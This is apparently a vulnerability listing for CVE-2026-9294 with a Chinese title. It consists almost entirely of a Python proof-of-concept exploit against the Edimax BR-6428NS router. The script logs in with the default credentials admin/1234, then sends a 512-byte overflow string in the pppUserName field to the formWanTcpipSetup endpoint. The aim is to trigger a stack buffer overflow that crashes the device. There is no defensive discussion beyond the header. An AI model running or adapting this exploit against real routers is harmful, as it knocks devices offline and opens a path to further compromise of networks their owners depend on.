CVE-2026-9294 Edimax BR-6428NS formWanTcpipSetup缓冲区溢出漏洞

import requests # CVE-2026-9294 PoC - Buffer Overflow in Edimax BR-6428NS formWanTcpipSetup # Target: Edimax BR-6428NS Router # Vulnerability: Stack-based Buffer Overflow via pppUserName parameter TARGET_IP = "192.168.1.1" # Router IP TARGET_PORT = 80 LOGIN_USERNAME = "admin" LOGIN_PASSWORD = "1234" def exploit_buffer_overflow(): """ Exploit buffer overflow in formWanTcpipSetup function The pppUserName parameter is vulnerable to stack-based buffer overflow """ # Login to router session = requests.Session() login_data = { "username": LOGIN_USERNAME, "password": LOGIN_PASSWORD } login_url = f"http://{TARGET_IP}/login.cgi" session.post(login_url, data=login_data) # Construct malicious payload # Buffer size is typically 64-128 bytes, so we send 512 bytes to overflow payload = "A" * 512 # PoC payload - triggers overflow but may cause DoS exploit_data = { "pppUserName": payload, "wanType": "pppoe", "pppPassword": "test1234" } exploit_url = f"http://{TARGET_IP}/goform/formWanTcpipSetup" try: response = session.post(exploit_url, data=exploit_data, timeout=5) print(f"[*] Payload sent: {len(payload)} bytes") print(f"[*] Response status: {response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[!] Request failed (device may have crashed): {e}") return False if __name__ == "__main__": print("=" * 50) print("CVE-2026-9294 PoC - Edimax BR-6428NS Buffer Overflow") print("=" * 50) exploit_buffer_overflow()